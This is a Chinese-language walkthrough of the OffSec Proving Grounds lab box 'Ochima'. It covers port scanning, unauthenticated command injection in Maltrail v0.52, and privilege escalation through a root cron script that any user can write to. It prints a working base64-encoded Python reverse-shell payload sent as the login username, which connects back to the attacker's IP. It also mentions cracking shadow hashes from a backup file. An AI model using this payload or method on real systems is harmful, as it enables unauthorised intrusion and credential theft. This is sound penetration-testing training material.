OSCP Ochima Write-up

本文最后更新于 2026年1月22日 下午

一、靶场详情

靶场名称:

Ochima

靶场地址:

OffSec Proving Grounds Practice 实验环境

二、思路总结

突破边界:

Maltrail 未经身份验证的命令注入 –> snort 用户权限 –> 用户旗帜

权限提升:

pspy 监控系统进程 –> 修改/var/backups/etc_Backup.sh 为反弹 shell –> root 用户权限 –> 管理员旗帜

三、靶场攻击演示

3.1 靶场信息收集

TCP 端口扫描:

1
2
3
4
5
6
sudo nmap -p- 192.168.104.32 --min-rate=2000

PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8338/tcp open unknown

UDP 端口扫描:未发现有价值信息。

TCP 服务信息搜集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
sudo nmap -p22,80,8338 -sCV 192.168.104.32
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-01 03:22 EDT
Nmap scan report for 192.168.104.32
Host is up (0.075s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b9:bc:8f:01:3f:85:5d:f9:5c:d9:fb:b6:15:a0:1e:74 (ECDSA)
|_ 256 53:d9:7f:3d:22:8a:fd:57:98:fe:6b:1a:4c:ac:79:67 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
8338/tcp open http Python http.server 3.5 - 3.10
|_http-title: Maltrail
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Maltrail/0.52
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

系统为 Linux 环境,开放有 HTTP、SSH 服务。

3.2 渗透测试突破边界

3.2.1 Maltrail 未经身份验证的命令注入

靶机 HTTP 80 端口为 Ubuntu Apache 的默认页面,HTTP 8338 端口部署了 Maltrail v0.52 应用。

搜索引擎检索 Maltrail v0.52 exploit,发现历史存在未授权代码注入漏洞。

参考链接:

1
2
https://www.rapid7.com/db/modules/exploit/unix/http/maltrail_rce/
https://github.com/spookier/Maltrail-v0.53-Exploit/blob/main/exploit.py

根据链接脚本中漏洞利用 payload,可手动构建,然后在登录框中执行。

1
https://www.revshells.com/

1
;`echo+cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTkyLjE2OC40NS4yMDIiLDgwKSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigiL2Jpbi9iYXNoIikn+|+base64+-d+|+bash`

在 kali 使用 nc 监听 80 端口,将 payload 当做用户名输入,获取到系统 snort 用户 shell。

升级为交互式 shell。

3.2.2 用户旗帜获取

3.3 提权获取系统管理员权限

3.3.1 Pspy 监控系统进程,修改定时脚本获取系统 root 权限

使用 pspy 工具监控系统进程,发现系统会定时以 root 权限执行 /var/backups/etc_Backup.sh 脚本,且任意用户对该脚本具有写入权限,可通过写入反弹 shell 获取系统 root 用户权限。

在 kali 使用 nc 监听 80 端口,等待靶机再次执行脚本时,得到了系统 root 用户 shell。

在 snort 家目录存在靶机 etc 目录的备份文件,我们可使用 nc 将备份文件传输到 kali,但由于靶机 shadow 文件使用了 yescrypt 加密算法($y),kali 中的 hashcat 和 john 均不支持该算法的破解,想要破解该算法需要升级 john 版本,并在构建 john 前,安装更新一些依赖,不然也无法执行 yescrypt 加密算法破解。更新一些依赖担心会影响 kali 的其他工具,目前没有成功安装支持 yescrypt 加密算法破解的 john。

文档更新!!!
目前 kali john 已经支持 yescrypt 加密算法爆破!!
只需要我们指定 --format=crypt 参数即可实现爆破。

3.3.2 管理员旗帜获取

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨